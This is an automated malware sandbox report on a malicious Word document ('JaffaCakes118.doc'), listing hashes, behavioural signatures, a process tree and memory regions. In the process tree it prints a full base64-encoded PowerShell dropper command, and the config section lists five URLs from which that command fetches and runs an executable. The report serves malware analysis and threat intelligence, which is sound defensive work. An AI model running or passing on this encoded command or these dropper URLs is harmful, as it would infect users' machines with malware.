Analysis

  • max time kernel
    101s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-05-2024 16:34

General

  • Target

    63fafb0473cc7cf6b0907463dbba7e9b_JaffaCakes118.doc

  • Size

    232KB

  • MD5

    63fafb0473cc7cf6b0907463dbba7e9b

  • SHA1

    557e086209bf9b9ca62012e237687a6d57d71b61

  • SHA256

    5a339bed662000c7482bef1785340e56fb3f3a495dde5df8e37cc237ac111374

  • SHA512

    aba532b4c58ef2eee35d1c995a1ea8377b4a66d2eac19d9d70f6b594f2cdb90ee4cedbec6e2d73aa2e7cba5940420855355d05e1f437c8841b7992535d018151

  • SSDEEP

    3072:2j6yw1MgpQiBhGWb6esLbTh8YuyDRBFtdfGkrlDnc9k1/w4nRB:2HgtEWPsL/aTyT9Gk5Dnc9s/w4nRB

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://kndesign.com.br/wwvv2/wPxxj0v53027676/

exe.dropper

http://load.studio/wp-admin/fqmCvt/

exe.dropper

http://melangefresh.com/partner/9lg91006/

exe.dropper

http://cengizgulec.com/wp-admin/wmZHHHARm/

exe.dropper

http://www.skydiarynepal.org/wp-admin/HWGaf/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\63fafb0473cc7cf6b0907463dbba7e9b_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2928
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABSAGMAdgB3AGYAbQBmAD0AJwBZAHoAagB5ADgAbQBuACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAFUAUgBpAHQAWQBwAFIATwBgAFQATwBgAGMAYABPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABVAGUAagBzAF8AOAAwACAAPQAgACcATQBnAG8AYgAnADsAJABGAGkAegBvAG4AYQBoAD0AJwBVAG4AOQBpAHEAbAByACcAOwAkAEIAaABkAGgANAA1AGoAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABVAGUAagBzAF8AOAAwACsAJwAuAGUAeABlACcAOwAkAFUAeQBsADEAYgAwAGkAPQAnAFAAdwBjAHEAMwAzAGkAJwA7ACQAVwB0AGEAZQB2AGwAcAA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAEUAYgBDAEwAaQBlAE4AdAA7ACQARgB4AF8AMAAxAGEANgA9ACcAaAB0AHQAcAA6AC8ALwBrAG4AZABlAHMAaQBnAG4ALgBjAG8AbQAuAGIAcgAvAHcAdwB2AHYAMgAvAHcAUAB4AHgAagAwAHYANQAzADAAMgA3ADYANwA2AC8AKgBoAHQAdABwADoALwAvAGwAbwBhAGQALgBzAHQAdQBkAGkAbwAvAHcAcAAtAGEAZABtAGkAbgAvAGYAcQBtAEMAdgB0AC8AKgBoAHQAdABwADoALwAvAG0AZQBsAGEAbgBnAGUAZgByAGUAcwBoAC4AYwBvAG0ALwBwAGEAcgB0AG4AZQByAC8AOQBsAGcAOQAxADAAMAA2AC8AKgBoAHQAdABwADoALwAvAGMAZQBuAGcAaQB6AGcAdQBsAGUAYwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdwBtAFoASABIAEgAQQBSAG0ALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBzAGsAeQBkAGkAYQByAHkAbgBlAHAAYQBsAC4AbwByAGcALwB3AHAALQBhAGQAbQBpAG4ALwBIAFcARwBhAGYALwAnAC4AIgBzAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFcAdgBsAHEAbwBnAGoAPQAnAEUAdgBuAHYAMgBhAGgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEUAbwA1AGYAZgBuAGoAIABpAG4AIAAkAEYAeABfADAAMQBhADYAKQB7AHQAcgB5AHsAJABXAHQAYQBlAHYAbABwAC4AIgBEAG8AVwBOAGwATwBgAEEARABmAEkAYABsAEUAIgAoACQARQBvADUAZgBmAG4AagAsACAAJABCAGgAZABoADQANQBqACkAOwAkAFcAawB6AHcAaQBuAG0APQAnAFoAdgA1ADMAMAAyADUAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACAAJABCAGgAZABoADQANQBqACkALgAiAGwAZQBOAGAARwBgAFQAaAAiACAALQBnAGUAIAAyADAAMgAxADgAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQAQgBoAGQAaAA0ADUAagApADsAJABNAG8ANwBfAGIAegB3AD0AJwBFAHUAcgB3AHkAbgB1ACcAOwBiAHIAZQBhAGsAOwAkAEwAdwByAGMAeABpAHMAPQAnAEIAcQA0AG4AcgBnAHAAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASgByAGoAeABtAHcANAA9ACcAQwBoAGIANQA3AHgAbAAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1988

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD7D36.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0e3hvbze.zvj.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1988-77-0x00000264B1F10000-0x00000264B1F32000-memory.dmp

    Filesize

    136KB

  • memory/2928-20-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-580-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-5-0x00007FF8D004D000-0x00007FF8D004E000-memory.dmp

    Filesize

    4KB

  • memory/2928-6-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-7-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-8-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-19-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-11-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-10-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-12-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-15-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-14-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-13-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-16-0x00007FF88DCD0000-0x00007FF88DCE0000-memory.dmp

    Filesize

    64KB

  • memory/2928-17-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-18-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-21-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-37-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-9-0x00007FF88DCD0000-0x00007FF88DCE0000-memory.dmp

    Filesize

    64KB

  • memory/2928-3-0x00007FF890030000-0x00007FF890040000-memory.dmp

    Filesize

    64KB

  • memory/2928-1-0x00007FF890030000-0x00007FF890040000-memory.dmp

    Filesize

    64KB

  • memory/2928-57-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-64-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-69-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-76-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-4-0x00007FF890030000-0x00007FF890040000-memory.dmp

    Filesize

    64KB

  • memory/2928-2-0x00007FF890030000-0x00007FF890040000-memory.dmp

    Filesize

    64KB

  • memory/2928-97-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-98-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-477-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-0-0x00007FF890030000-0x00007FF890040000-memory.dmp

    Filesize

    64KB

  • memory/2928-568-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-578-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-579-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-36-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2928-601-0x00007FF890030000-0x00007FF890040000-memory.dmp

    Filesize

    64KB

  • memory/2928-602-0x00007FF890030000-0x00007FF890040000-memory.dmp

    Filesize

    64KB

  • memory/2928-604-0x00007FF890030000-0x00007FF890040000-memory.dmp

    Filesize

    64KB

  • memory/2928-603-0x00007FF890030000-0x00007FF890040000-memory.dmp

    Filesize

    64KB

  • memory/2928-605-0x00007FF8CFFB0000-0x00007FF8D01A5000-memory.dmp

    Filesize

    2.0MB